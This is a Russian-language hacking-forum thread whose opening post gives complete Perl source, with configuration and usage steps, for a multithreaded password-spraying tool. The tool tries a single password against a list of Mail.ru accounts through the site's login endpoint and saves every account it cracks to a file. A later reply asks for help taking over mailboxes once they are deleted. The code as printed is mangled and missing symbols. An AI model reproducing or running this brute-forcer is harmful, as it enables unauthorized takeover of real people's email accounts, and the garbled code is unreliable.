[PERL] Multithread Mail.ru bruteforce by Sharky - Proxy-Base Community - Анонимность и безопасность в интернете.

Private Proxy Tools [купить доступ]:
Proxy Checker [old] | Proxy Checker [new] | Url Proxy Parser | Multi Proxy Parser
Alive Proxy List (URL, ip:port\n) (~ http/s>=1000, socks4/5>=100) | Proxy List
Free Socks 4/5 (Alive) | Proxy Gear Pro (Proxy Combine: checker, parser, grabber)

 



Информация по хайдам / репутации

Все инфопродукты и приватная информация бесплатно
Абузоустойчивые (bulletproof) VPS/VDS -elitevps.io- под все Ваши проекты!

Вернуться   Proxy-Base Community - Анонимность и безопасность в интернете. > Dedicated Servers - Дедики Брут дедиков и их использование / IM (интернет мессенджеры) / Email > E-mail

Ответ
 
LinkBack Опции темы Поиск в этой теме Опции просмотра
Старый 24.06.2009, 00:09   #1 (permalink)
Proxy-Base.Org Team
 
Регистрация: 19.05.2009
Сообщений: 961
Member ID: 147

Репутация: 2371
Репутация: 2371
Сказал(а) спасибо: 894
Поблагодарили 2,053 раз(а) в 713 сообщениях
Топикстартер (автор темы) По умолчанию [PERL] Multithread Mail.ru bruteforce by Sharky

[PERL] Multithread Mail.ru bruteforce by Sharky


Описание:
- Брутит список мыл на один пароль через swa.mail.ru
- Многопоточность
- Высокая скорость брута
- Не требуются прокси


Source:

PHP код:
 #!/usr/bin/perl

use IO::Socket;
use 
threads;
use 
threads::shared;
##################################################  ######
my @acc shared;
my $i shared;
my $g shared;
my $total shared;
##################################################  ######
$emails   'mail.txt';    #Файл с мылами
$good     'good.txt';    #Файл с прочеканными гуд акками
$password '111111';      #Пароль на который брутить
##################################################  ######
$threads '20';          #Количество потоков
$timeout '5';            #Таймаут
##################################################  ######
$hostname "swa.mail.ru";
$port     '80';
$path     "/cgi-bin/auth";

##################################################  ######
openACS"<$emails);
@
acc  acc();
$size scalar @acc;

threads();

sub threads {
    
$g 0;
    for ( 
.. $threads ) { $trl[$_] = threads->create( &check$_ ); }
    for (@
trl) { $_->join; }
    print 
"Good: $g ";
}

sub check {
    while (@
acc) {
        { 
lock(@acc); $acc shift @acc; }
        
my $mail$server ) = split( /@/, $acc );

        
$nn "\r\n";

        
my $sock = new IO::Socket::INET(
            
PeerAddr  => $hostname,
            
PeerPort  => $port,
            
PeerProto => 'tcp',
            
TimeOut   => $timeout
        
);
        if ( !
$sock ) {
            { 
lock($i); $i++; }
        }
        else {
            
my $data =
              
"action1=Login&Login=$mail&Domain=$server&Password=$password";
            
my $re =
                
"POST /cgi-bin/auth HTTP/1.0" 
              
$nn
              
"Host: swa.mail.ru"
              
$nn
              
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
              
$nn
              
"Content-type: application/x-www-form-urlencoded"
              
$nn
              
"Cache-Control: no-cache"
              
$nn
              
"Content-length: "
              
length($data)
              . 
$nn
              
"Connection: Keep-Alive"
              
$nn
              
$nn;
            print 
$sock $re;
            print 
$sock $data;
            
sysread$sockmy $answ666 );
            
close $sock;

            if ( 
$answ =~ /Location/ ) {
                { 
lock($total); $total++; }
                print 
"$mail - [OK]\n";
                
openFILE">>$good);
                print 
FILE "$acc:$password\n";
                
close(FILE);
                
$g++;
            }

            { 
lock($i); $i++; }
            
$percent = ( $i $size ) * 100;
            
$percent sprintf"%.0f"$percent );
            print 
"$percent%" $nn;
        }
    }
}

sub acc {
    
my (@mas);
    while (<
ACS>) {
        
push @mas$_;
    }
    
chomp @mas;
    return @
mas;
}
#with love by Sharky 
Редактируем в коде под себя:

PHP код:
##################################################  ######
$emails   'mail.txt';    #Файл с мылами
$good     'good.txt';    #Файл с прочеканными гуд акками
$password '111111';      #Пароль на который брутить
##################################################  ######
$threads '20';          #Количество потоков
$timeout '5';            #Таймаут
##################################################  ###### 
автор: Sharky
источник

В источнике есть версия брута одного мыла на список паролей,но я так и не смог его запустить.Если кто запустит просьба отписать здесь,как запустить)

Как юзать:
1. Качаем и устанавливаем Active Perl
2. Копируем текст source и вставляем в блокнот.
3. Меняем расширение текстовика с source.txt на source.pl
4. Запускаем файл,откроется окно cmd в котором будут видны проценты,показывающие сколько прошёл брут.
hide вне форума   Ответить с цитированием
4 пользователя(ей) сказали cпасибо:
Старый 07.10.2010, 16:18   #2 (permalink)
HTTP
 
Регистрация: 07.10.2010
Сообщений: 1
Member ID: 9627

Репутация: 1
Репутация: 1
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
По умолчанию Re: [PERL] Multithread Mail.ru bruteforce by Sharky

Добрый день! Может мне кто поможет? Есть такая ситуация: все знают, что на mail.ru когда почтовый ящик удалён, место под него можно занять только после истечения трёх месяцев! Так вот, я имею такие ящики, которые будут удалены, но вот незнаю когда это произойдёт, может есть такой php код, которые бы проверял, удалился ящик или нет, если удалился, то что бы он сообщал мне на почту!
FABIO вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 25.02.2011, 15:36   #3 (permalink)
HTTP
 
Регистрация: 08.12.2010
Сообщений: 15
Member ID: 10612
ICQ 581581229

Репутация: 44
Репутация: 44
Сказал(а) спасибо: 8
Поблагодарили 32 раз(а) в 8 сообщениях
По умолчанию Re: [PERL] Multithread Mail.ru bruteforce by Sharky

опана.а что модераторы за разделом не следят?
kaktus вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 25.02.2011, 16:47   #4 (permalink)
VPN
 
Аватар для kekc
 
Регистрация: 11.05.2009
Адрес: 05
Сообщений: 1,408
Member ID: 8
ICQ 12400042

Репутация: 1421
Репутация: 1421
Сказал(а) спасибо: 1,275
Поблагодарили 1,346 раз(а) в 714 сообщениях
По умолчанию Re: [PERL] Multithread Mail.ru bruteforce by Sharky

Кто здесь вообще модер ?
kekc вне форума   Ответить с цитированием
Старый 25.02.2011, 18:51   #5 (permalink)
Suspended
 
Аватар для Kuzia
 
Регистрация: 17.05.2009
Сообщений: 1,702
Member ID: 126
ICQ 296367

Репутация: 1576
Репутация: 1576
Сказал(а) спасибо: 1,214
Поблагодарили 1,337 раз(а) в 798 сообщениях
По умолчанию Re: [PERL] Multithread Mail.ru bruteforce by Sharky

Пульсэ и Дизз, админы. Модеров нема, DDM вроде был
__________________
[SIGPIC][/SIGPIC]
Теперь на WordPress!

Не отвечаю на глупые вопросы в лс и icq. Если вы мне пишите, соблюдайте хотя бы элементарные правила хорошего тона.

Ваше право на собственное мнение вовсе не обязывает меня слушать бред!
Kuzia вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Узнаём ФИО пользователя в Mail.Ru 2FED E-mail 9 21.08.2011 22:25
MIC - Mail.Ru Invisibility Checker Flanker E-mail 2 25.03.2010 14:19




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.